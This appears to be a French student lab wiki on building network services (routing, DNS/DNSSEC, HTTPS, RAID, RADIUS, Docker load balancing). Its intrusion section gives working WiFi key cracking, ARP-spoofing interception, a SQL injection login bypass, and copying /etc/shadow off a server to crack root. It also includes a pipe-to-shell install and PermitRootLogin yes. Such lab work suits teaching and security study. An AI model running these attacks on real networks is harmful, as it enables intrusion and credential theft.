ISR4331# int BDI531 ISR4331# ip address 192.168.222.26 255.255.255.248 ISR4331# no shut ISR4331# exit ISR4331# int GigabitEthernet0/0/1 ISR4331# service instance 531 ethernet ISR4331# encapsulation untagged ISR4331# bridge-domain 531 ISR4331# exit
On configure également le BDI 333 avec VRRP pour que les VM accède à ce router. Cet équipement aura une priorité VRRP inférieure aux deux autres routeurs car il est destiné a tourner qu'en cas de problème de connexion par le routeur de l'école.
ISR4331# int BDI 333 ISR4331# ip address 100.64.0.3 255.255.255.0 ISR4331# vrrp 33 ip 100.64.0.254 ISR4331# vrrp 33 preempt ISR4331# vrrp 33 priority 90 ISR4331# exit
On y ajoute les ports reliés aux routeurs
ISR4331# int Gi0/0/0 ISR4331# service instance 333 ethernet ISR4331# encapsulation dot1q 333 ISR4331# rewrite ingress tag pop 1 symmetric ISR4331# bridge-domain 333 ISR4331# exit
ISR4331# int Gi0/0/2 ISR4331# service instance 333 ethernet ISR4331# encapsulation dot1q 333 ISR4331# rewrite ingress tag pop 1 symmetric ISR4331# bridge-domain 333 ISR4331# exit
SLA
A ce stade, nos équipement sont connecté mais on ne sait pas quand l'ISR4331 doit prendre la main. On utilise le mécanisme SLA pour décrémenter la priorité des routeurs 1 et lorsqu'un incident sur le routeur RENATER (192.168.44.1) est détecté. Sur le premier routeur:
6509-E# ip sla 1 6509-E# icmp-echo 192.168.44.1 6509-E# frequency 300 6509-E# exit 6509-E# ip sla schedule 1 life forever start-time now 6509-E# track 1 ip sla 1 6509-E# exit 6509-E# int vlan 333 6509-E# vrrp 33 track 1 decrement 50 6509-E# exit
Penser a passer le port relié à l'ISR en mode trunk sans quoi on ne poura pas passer d'un VLAN à l'autre
6509-E# int Te6/5 6509-E# switchport trunk encapsulation dot1q 6509-E# switchport mode trunk 6509-E# exit
On fait la même chose sur le deuxième routeur:
C9200# ip sla 1 C9200# icmp-echo 192.168.44.1 C9200# frequency 300 C9200# exit C9200# ip sla schedule 1 life forever start-time now C9200# track 1 ip sla 1 C9200# exit C9200# int vlan 333 C9200# vrrp 33 address-family ipv4 C9200# track 1 decrement 50 C9200# exit
C9200# int Gi1/0/2 C9200# switchport mode trunk C9200# exit C9200# exit
A présent l'ISR peut prendre le relais si la connexion à internet par le routeur de l'école ne fonctionne plus. Il ne reste plus qu'a faire la Mascarade sur l'ISR (IPs VMS -> 1 IP publique du SDLS = NAT dynamique sans pool = Mascarade)
Mascarade
ISR4331# int loopback 0 ISR4331# ip address 213.215.6.102 255.255.255.255 ISR4331# exit ISR4331# int bdi 531 ISR4331# ip nat outside ISR4331# exit ISR4331# int bdi 333 ISR4331# ip nat inside ISR4331# exit ISR4331# access-list 33 permit 193.48.57.176 0.0.0.15 ISR4331# ip nat inside source list 33 int loopback 0 overload ISR4331# exit ISR4331# ip route 193.48.57.176 255.255.255.255 100.64.0.16
On utilise bien les adresses routés des VM (193.57.48...) et non les adresses privées (100.64....) sinon on serait incapable de revenir vers les VM car le routeur ne connait pas la route vers ces dernières.
Tests
On test dans un premier temps la connexion internet. Sur nos VM on remplace la gateway avec l'IP de l'ISR: 100.64.0.3.
Pour tester la prise de relai de l'ISR, on débranche la connexion vers le routeur de l’école des deux routeurs R1 et R2. L'ISR passe bien Master au bout d'un certain temps (<300s).
Il n'est cependant pas possible d’accéder à nos VM depuis cette nouvelle connexion sans que la VM initie la dite connexion. En effet, la mascarade mis en place ne permet pas à l'ISR de router vers l’intérieur, il faudrait utiliser des ports différents pour chaque connexion aux VMs.
3.9 Interconnexion Internet de secours (IPv6) ()
Suite au prochain épisode
4 Services Internet
Connexion a internet (02/11/2020)
Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address 193.48.57.188 netmask 255.255.255.255 up ip address add dev eth0 100.64.0.28/24 up ip route add default via 100.64.0.2 src 193.48.57.188 down ip address del dev eth0 100.64.0.28/24 down ip route del default via 100.64.0.2 src 193.48.57.188
L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.
Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28
Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.
4.1 Serveur SSH (02/11/2020)
Le service SSH était activé par defaut. Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes
puis systemctl restart sshd
et on peut se connecter a notre vm
ssh root@193.48.57.188
4.2 Serveur DNS (02/11/2020)
Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom
127.0.0.1
Dans /etc/bind/named.conf.local, en suivant le cours nous avons modifié et/ou ajouté:
options{ directory "/var/cache/bind"; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 217.70.177.40/32 ; };
Ensuite avec bind9 nous avons pu configurer notre serveur de nom. Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site":
zone "trompettedelamort.site" IN { type master; file "/etc/bind/db.trompettedelamort.site"; allow-transfer { 217.70.177.40;}; };
Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié:
zone "trompettedelamort.site" IN { ; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo rt.site( 4 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.trompettedelamort.site. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.188
Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers. ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers.
4.3 Sécurisation de site web par certificat (16/11/2020)
Serveur mail
On décide d'effectuer la valisation du certificat par mail, pour cela, il faut installer un serveur mail sur notre VM:
apt-get install postfix
Pour ajouter l'utilisateur postfix au groupe sasl
sudo adduser postfix sasl
Ensuite on configure postfix:
dpkg-reconfigure postfix
La configuration est la suivante:
Internet Site trompettedelamort.site NULL server1.trompettedelamort.site, localhost.trompettedelamort.site, localhost No 127.0.0.0/8 0 +
Il faut redemarrer le serveur:
service postfix restart
Dans /etc/aliases on ajoute la ligne suivante:
admin: root
Puis dans le terminal
newaliases
Ensuite pour lire les mails on installe:
apt install bsd-mailx
Et on utilise la commande mailx pour récupérer nos mails. Le mail de confirmation poura etre envoyé à admin@trompettedelamort.site
Clés et certificat
On install préalablement l'outil openssl sur notre MV.
On se rend dans le répertoire /etc/ssl/ qui contient les certificats et autre configaration d'openssl puis on génere une clé privée et un certificat contenant une clée publique:
openssl req -nodes -newkey rsa:2048 -sha256 -keyout tromettedelamort.site.key -out trompettedelamort.site.csr
On déplace notre clé privée (qu'il ne faut absolument pas perdre ni divulguer) dansle repertoire /etc/ssl/private/.
A ce stade, nous avons une clée privée et un certificat qu'il faut faire signer par une entitée reconnue (gandi.net). On suit la procédure dédiée https://docs.gandi.net/fr/ssl/creation/installation_certif_manuelle.html en choisissant le mode de validation par mail
A la suite de ces étapes, le certificat est disponible au téléchargement depuis le site de gandi (fichier .crt) que l'on place dans /etc/ssl/certs/.
On télécharge également le certificat intermédiaire de gandi : GandiStandardSSLCA2.pem que l'on place également dans /etc/ssl/certs/.
Serveur web Apache2
- On install le seveur:
apt-get install apache2
- On active du module SSL d'apache2:
a2enmod ssl
- On configure Apache2 pour communiquer sur le port 443 (https) au lieu du port 80 (http). dans le fichier /etc/apache2/ports.conf
<IfModule mod_ssl.c> Listen 443 </IfModule> <IfModule mod_gnutls.c> Listen 443 </IfModule>
- On créer le fichier de configuration /etc/apache2/sites-available/000-trompettedelamort.site-ssl.conf qui définit les paramètres de notre site (notament les certificats à utiliser)
<VirtualHost 193.48.57.188:443> ServerName trompettedelamort.site ServerAlias www.trompettedelamort.site DocumentRoot /var/www/trompettedelamort.site/ CustomLog /var/log/apache2/secure_access.log combined SSLEngine on SSLCertificateFile /etc/ssl/certs/trompettedelamort.site.crt SSLCertificateKeyFile /etc/ssl/private/trompettedelamort.site.key SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem SSLVerifyClient None </VirtualHost>
- On active le site avec la configuration que l'on vient de créer :
a2ensite 000-trompettedelamort.site-ssl
- On rend le site accessible en l'ajoutant dans /etc/apache2/apache2.conf
ServerName trompettedelamort.site
- On renseigne également le DNS pour pouvoir résoudre notre nom de site. Dans /etc/bind/db.trompettedelamort.site
www IN A 193.48.57.188
- Enfin, on créer le repertoire /var/www/trompettedelamort.site/ dans lequel on place tout les fichier (html, ...) de notre site.
Pernser è redemarer le service
systemectl restart apache2
Verifications
En se connectant à https://www.trompettedelamort.site, on retombe bien sur le site web de notre domaine et la connexion est sécurisé par le certificat. Cependant, si on se connecte en http, la connexion n'est pas sécurisée et on est pas automatiquement redirigé vers https. Pour palier à se problème, on force vers la redirection de http vers https en ajoutant dans le fichier /etc/apache2/sites-available/000-default.conf
Redirect permanent / https://www.trompettedelamort.site/
4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)
IPV4
La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC
Premièrement nous avons modifié le ficher named.conf.options pour y ajouter l'options suivantes:
dnssec-enable yes
Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK.
Pour créer la paire de clef KSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site
Et pour la paire de clef ZSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site
Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées.
Ensuite dans notre fichier zone db.trompettedelamort.site nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial:
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key $include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key
Le fichier db.trompettedelamort.site ressemble donc à cela:
; ; BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.( 8 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.trompettedelamort.site. @ IN NS ns6.gandi.net. @ IN MX 100 ns1.trompettedelamort.site. ns1 IN A 193.48.57.188 www IN A 193.48.57.188 $include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key $include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key
Nous signons ensuite les enregristrement de la zone avec la commande suivante:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed"
Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local:
root@trompettedelamort:~# cat /etc/bind/named.conf.local // // Do any local configuration here zone "trompettedelamort.site" IN { type master; file "/etc/bind/db.trompettedelamort.site.signed"; allow-transfer { 217.70.177.40;}; }; // Consider adding the 1918 zones here, if they are not used in your // organization //include "/etc/bind/zones.rfc1918";
Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans
/etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key
On vérifie avec la commande suivante:
dnssec-verify -o trompettedelamort.site db.trompettedelamort.site.signed
Qui nous renvoie ce résultat:
Verifying the zone using the following algorithms: RSASHA1. Zone fully signed: Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked ZSKs: 1 active, 0 stand-by, 0 revoked ../db.trompettedelamort.site.signed
IPV6
Dans le fichier db.trompettedelamort.site il suffit de rajouter deux entrées comme nous l'avons fait en IPV4
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fe6f:4f0b www IN AAAA 2001:660:4401:60b2:216:3eff:fe6f:4f0b
Il faut penser à augmenter le Serial Ensuite il suffit de ressigner les zones comme précedemment:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Puis relancer le serveur bind.
Avec la commande:
host -t soa trompettedelamort.site ns6.gandi.net
On peut vérifier que le changement a bien été pris en compte.
Tests d’intrusion
5.1 Exploitation de failles du système (en cours)
5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)
Avec le packetage aircrack-ng il est possible de casser une clef wep.
Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig
Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.
Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.
Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.
Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.
Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.
Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap
5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)
On commence par mettre l'interface WiFi en mode monitor:
airmon-ng start maCarte
Ensuite on lance une écoute généralisée des trames WiFi qui circulent:
airodump-ng maCarte
A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.
Puis pour cibler la recherche on lance la commande suivante:
airodump-ng -c 3 --bssid MACPA -w psk maCarte
A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).
Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:
aircrack-ng -w dictionnaire -b MACPA psk*.cap
Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale. Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:
crunch 8 8 0123456789 -o dictionnaire
Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.
5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)
N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP.
On transforme la machine attacker en routeur:
attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1
Puis on lance l'empoisonnement du cache ARP de la victime:
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254
On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime:
victime@victime:~/ /arp bbox.lan (192.168.1.254) at 08:00:27:34:f9:27 ... attacker (192.168.1.44) at 08:00:27:34:f9:27
L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine attacker
Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine attacker:
victime@victime:~/ traceroute 8.8.8.8 1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms 2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms ... 9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms
On lance wireshark sur attacker et on se connecte a un site http quelconque sur 'victime. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site.
Même chose avec un logiciel de conversation instantanée non chiffré.
5.5 Intrusion sur un serveur d’application Web (04/11/2020)
Injection SQL
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs Identifiant et Mot de passe avec la valeure:
' OR 1 = 1 --
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil admin
Base de donnée
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier config-db.php (dans l'onglet Recherche d'un manuel). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.
Une table en particulier nous interesse: users dans la base test, puisqu'elle contient les identifiant de connexion (rex)
connexion au serveur
On peut verifier que le serveur est bien accéssible a distance avec:
nmap -6 honey.plil.info
qui nous renseigne que les services http et ssh sont accéssible sur la machine.
On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.
On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:
scp /etc/passwd pifou@zabethXX:~/intrusion/passwd scp /etc/shadow pifou@zabethXX:~/intrusion/shadow
Cassage du mot de passe root
Pour la suite, nous utilisons les commandes de l'utilitaire John the Ripper. La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
unshadow ./passwd ./shadow | grep root > pass
On enregistre la clé de l'utilisateur root dans un fichier pass.
Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico sed -i 's/\(.*\)/\1\1/' dico
puis on lance le cassage:
/usr/sbin/john -w:dico pass
apres quelques minutes, le mot de passe est diponible en clair:
/usr/sbin/john --show pass
Réalisations
6.1 Sécurisation de données (11/30/2020)
On commence par créer les trois disques virtuel de 1G utilisé pour RAID5:
lvcreate -L1G -ntrompettedelamort-raid1 storage lvcreate -L1G -ntrompettedelamort-raid2 storage lvcreate -L1G -ntrompettedelamort-raid3 storage
Et on les ajoutes au on les ajoute au fichier de config de la VM (sur Capbreton: /etc/xen/trompettedelamort.cfg)
'phy:/dev/storage/trompettedelamort-raid1,xvdb1,w', 'phy:/dev/storage/trompettedelamort-raid2,xvdb2,w', 'phy:/dev/storage/trompettedelamort-raid3,xvdb3,w'
On relance la VM et on peut désormatit créer la partition Raid :
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3
On formate la partition:
mkfs.ext4 /dev/md0
On l'ajoute au fichier /etc/fstab pour qu'il soit monté à chaque démarrage de la vm :
/dev/md0 /media/raid ext4 defaults 0 1
et on valide les modifications:
mount -a
Enfin on peut vérifier le bon fonctionnement de la persistence des données en peuplant la partition et en redémarant la VM avec une partition en moins...les données sont toujours disponibles.
6.2 Chiffrement de données (01/12/2020)
Apres insertion de la cle, on cherche le nom de la partition:
lsblk
On creer une nouvelle partition sur la clee:
fdisk /dev/sda
- entrer n pour une nouvelle partition
- entrer le numero de la partition
- debut de la partition : laisser par defaut
- fin de la partition : laisser par defaut (prend tout l'espace disponible)
- w pour ecrire.
Puis:
partprobe
On initialise la partition avec le chiffrement grace au paquetqge cryptsetup:
cryptsetup luksFormat /dev/sda1 cryptsetup luksOpen /dev/sda1 home mkfs.ext4 /dev/mapper/home
puis montage de la partition:
mount /dev/mapper/home /mnt/
On peut creer des fichiers dans /mnt pour tester puis on demonte et ferme le volume chiffre:
umount /mnt crytsetup luksClose home
Losqu'on rebranche la cle, un mot de passe nous est demander pour monter la cle. Sans ce mot de passe, il est impossible d'acceder au contenu.
6.4 Sécurisation WiFi par WPA2-EAP (14/12/2020)
Configuration de la borne wifi
On se connecte à la borne wifi depuis notre VM:
ssh root@10.60.100.10 -c aes128-cbc
Puis on configure le point d'accès dans notre vlan 301:
wifi# aaa authentication login eap_group1 group radius_group1 wifi# radius-server host 193.48.57.188 auth-port 1812 acct-port 1813 key secret_group1 wifi# aaa group server radius radius_group1 wifi# server 193.48.57.188 auth-port 1812 acct-port 1813 wifi# dot11 ssid SSID_GROUP1 wifi# mbssid guest-mode wifi# vlan 301 wifi# authentication open eap eap_group1 wifi# authentication network-eap eap_group1 wifi# authentication key-management wpa wifi# int Dot11Radio0 wifi# encryption vlan 301 mode ciphers aes-ccm tkip wifi# mbssid wifi# ssid SSID_GROUP1 wifi# int dot11radio0.1 wifi# encapsulation dot1q 301 wifi# bridge-group 15 #le groupe 1 était deja pris wifi# int Gi0.1 wifi# encapsulation dot1q 301 wifi# bridge-group 15
Installation de Freeradius
- Dans /etc/freeradius/3.0/users, on créer les identifiants de connexion:
bob Cleartext-Password := "leponge"
- Dans /etc/freeradius/3.0/client.conf, on ajoute l'adresse ip du point d'acces:
client pra_wifi { ipaddr = 10.60.100.10 secret = secret_group1 }
- Dans /etc/freeradius/3.0/mods-enabled/eap, on change le mode d'authentification
default_eap_type = peap
Emfin, on lance freeradius:
freeradius -X
serveur DHCP
On créer un serveur DHCP sur les chaque routeur pour attribuer dynamiquement des adresses aux appareils se connectant au point d'accès: Le routeur 1 distribuera les adresses de 10.60.101.100 à 10.60.101.149 et le routeur 2 les adresses de 10.60.101.50 à 10.60.101.99
6509E# ip dhcp pool groupe1 6509E# dns 193.48.57.188 6509E# network 10.60.101.0 255.255.255.0 6509E# default-router 10.60.101.254 6509E# exit 6509E# ip dhcp excluded-address 10.60.101.0 10.60.101.99 6509E# ip dhcp excluded-address 10.60.101.150 10.60.101.255
C9200# ip dhcp pool groupe1 C9200# dns 193.48.57.188 C9200# network 10.60.101.0 255.255.255.0 C9200# default-router 10.60.101.254 C9200# exit C9200# ip dhcp excluded-address 10.60.101.0 10.60.101.49 C9200# ip dhcp excluded-address 10.60.101.100 10.60.101.255
Connexion à internet : Mascarade
6509E# int vlan 301 6509E# ip nat inside 6509E# exit 6509E# int vlan 131 6509E# ip nat outside 6509E# exit 6509E# int Loopback0 6509E# ip address 193.48.57.189 6509E# exit 6509E# access-list 101 permit ip 10.60.101.0 0.0.0.255 any 6509E# ip nat inside source list 101 interface Loopback0 overload
Et ca ne marche pas....a résoudre
Ferme de serveurs Web
7.1 Architecture générale de la ferme
Mise en réseau de la VM secondaire (sur chassiron)
L'interface bridge à déja été montée à la création de la VM, on modifie /etc/network/interfaces:
auto eth0 iface eth0 inet static address 192.168.42.15 netmask 255.255.255.0 gateway 192.168.42.1
Mise en réseau de la VM principale (sur capbreton)
On commence par ajouter une deuxieme interface réseau a la VM principale pour la rendre accessible via VLAN50. ON modifie donc /etc/xen/tromettedelamort.cfg
vif = [ 'bridge=IMA5sc, mac=00:16:3E:6F:4F:0B', 'bridge=bridgeStudents, mac=00:16:3E:6F:4F:0C' ]
on relance la VM puis on modifie /etc/network/interfaces pour ajouter une IP fixe sur cette nouvelle interface:
auto eth1 iface eth1 inet static address 192.168.42.1 netmask 255.255.255.0
On peut tester l'interconnexion des deux VMs
root@192.168.42.1/~# ping 192.168.42.15
Enfin, on donne accès à internet à notre VM secondaire en mettant en place une mascarade:
iptables -P FORWARD DROP iptables -A FORWARD -j ACCEPT -s 192.168.42.15/32 iptables -A FORWARD -j ACCEPT -d 192.168.42.15/32 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.15/32 --to-source 193.48.57.188 # la masquarade en question iptables-save echo 1 > /proc/sys/net/ipv4/ip_forward # pour activer le routage par iptables
Installation Ansible sur la VM principale
apt-get install ansible python3 pithon3-pip pip3 install ansible
Après installation, on configure le fichier /etc/ansible/hosts dans lequel on ajoute toutes les cibles de nos déploiements
[webserver-main] 192.168.42.15
[webserver-slaves] 192.168.42.15 192.168.42.28 ...
Partage des clés SSH
Depuis la VM principale:
mkdir /root/.ssh/ cd /root/.ssh/ ssh-keygen -t rsa -b 2048 cat /root/.ssh/id_rsa.pub
puis on copie la clée publique dans /root/.ssh/authorized_keys2 de la VM secondaire. Si la connexion ssh est autorisé en root sur la VM secondaire, on peut directement faire:
ssh-copy-id -i /root/.ssh/id_rsa.pub root @192.168.42.15
Premier role pour configurer /etc/modt et le serveur NTP
cf. fichers sur la vm principale /etc/ansible
ansible-playbook playbook-webserver-main.yml
7.2 Installation de docker
On récupère les roles déja écrit par geerlingguy pour l'installation de pip et docker:
ansible-galaxy geerlingguy-pip ansible-galaxy geerlingguy-docker
Pour adapter l'installation de docker a notre architecture avec le nouveau role, il faut initialiser des variables dans le playbook. Pour trouver le nom de ces variables:
apt install locate updatedb locate geerlingguy # le fichier qui nous interesse est .../default/main.yaml cat /root/.../geerlingguy.docker/default/main.yaml
On ajoute au playbook:
vars: docker_apt_repository: "deb [arch=Modèle:Docker apt arch] https://download.docker.com/linux/debian buster Modèle:Docker apt release channel" docker_apt_gpg_key: https://download.docker.com/linux/debian/gpg
Enfin, on lance le playbook:
ansible-playbook playbook-webserver-main.yml
7.3 Création du conteneur
Installation Docker sur la VM principale
wget -qO - get.docker.com | sh
Création de l'image
On se base sur l'image d'apache
FROM httpd:latest COPY ./trompettedelamort.site/toto.html /usr/local/apache2/htdocs/index.html COPY ./trompettedelamort.site/trompettedelamort.png /usr/local/apache2/htdocs/trompettedelamort.png CMD ["httpd","-D","FOREGROUND"]
Construction de l'image:
docker build -t trompettedelamort .
On peut créer un conteneur à partir de l'image pour tester:
docker run -dit -name trompettedelamort -p8080:80 trompettedelamort:latest docker exec -it trompettedelamort bash
Création du registre de conteneur sur la VM distante
On créer un role registry dans lequel on lance un conteneur spécialement concu pour la tache registry On oublie pas d'ajouter dans /etc/docker/daemon.json la liste des registres non sécurisé grace la tache Copy daemon.json
cf. /etc/ansible/roles/registry/tasks/main.yml.
Après avoir joué le role dans le playbook, on peut essayer de pousser un conteneur dans le nouveau registre:
docker tag trompettedelamort 192.168.42.15:5000/trompettedelamort docker push 192.168.42.15:5000/trompettedelamort
On constate un problème avec ce role: après avoir changer le fichier de configuration daemon.json, on redemare le service docker pour prendre en compte notre modification. Cependant, au redemarage, le conteneur registry ne se relance pas donc on ne peut plus déployer de conteneurs. Problème à régler!!!
7.4 Configuration des serveurs internes
On créer un role apache dans lequel on demande à la machine distante des tirer l'image que l'on à créé precedement a partir du registre sur la VM secondaire et de lancer le conteneur sur un port précis (8081 dans notre cas)
cf. /etc/ansible/roles/apache/tasks/main.yml et /etc/ansible/playbook-webserver-slaves.yml
On peut vérifier que le conteneur ce lance correctement en se connectant en ssh a une machine distante et lancant la commande:
docker ps
on devrait voir apparaitre notre conteneur qui tourne bien.
7.5 Equilibreur de charge
Pour répartir la la charge vers nos conteneurs apaches répartis sur les différentes VM, on ajoute uen entrée au domaine dans le fichier /etc/bind/db.trompettedelamort.site:
reverse IN CNAME ns1
On oublie pas d'incrémenter le numéro serial puis on resigne notre certificat et relance le service:
cd /etc/bind/trompettedelamort.site.dnssec && dnssec-signzone -o trompettdelamort.site -k trompettdelamort.site-ksk ../db.trompettdelamort.site trompettdelamort.site-zsk service bind9 restart a2enmod proxy a2enmod proxy_http
On parametre ensuite apache sur la VM principale pour répartir la charges sur les VMs distantes. Dans /etc/apache2/apache.conf
<Proxy "balancer://mycluster"> BalancerMember "http://192.168.42.15:8081" route=1 BalancerMember "http://192.168.42.28:8081" route=2 BalancerMember "http://192.168.42.14:8081" route=3 BalancerMember "http://192.168.42.17:8081" route=4 BalancerMember "http://192.168.42.20:8081" route=5 BalancerMember "http://192.168.42.22:8081" route=6 BalancerMember "http://192.168.42.24:8081" route=7 BalancerMember "http://192.168.42.25:8081" route=8 </Proxy>
puis dans /etc/apache2/sites-available/reverse.conf
<VirtualHost *:80> ServerName reverse.trompettedelamort.site ProxyPreserveHost On
ProxyPass /status ! ProxyPass / "balancer://mycluster" ProxyPassReverse / "balancer://mycluster"
<location /status> SetHandler server-status Allow from all </location> </VirtualHost>
Enfin:
a2ensite reverse a2enmod proxy_balancer a2enmod lbmethod_byrequests service apache2 restart
Visiter reverse.trompettedelamort.site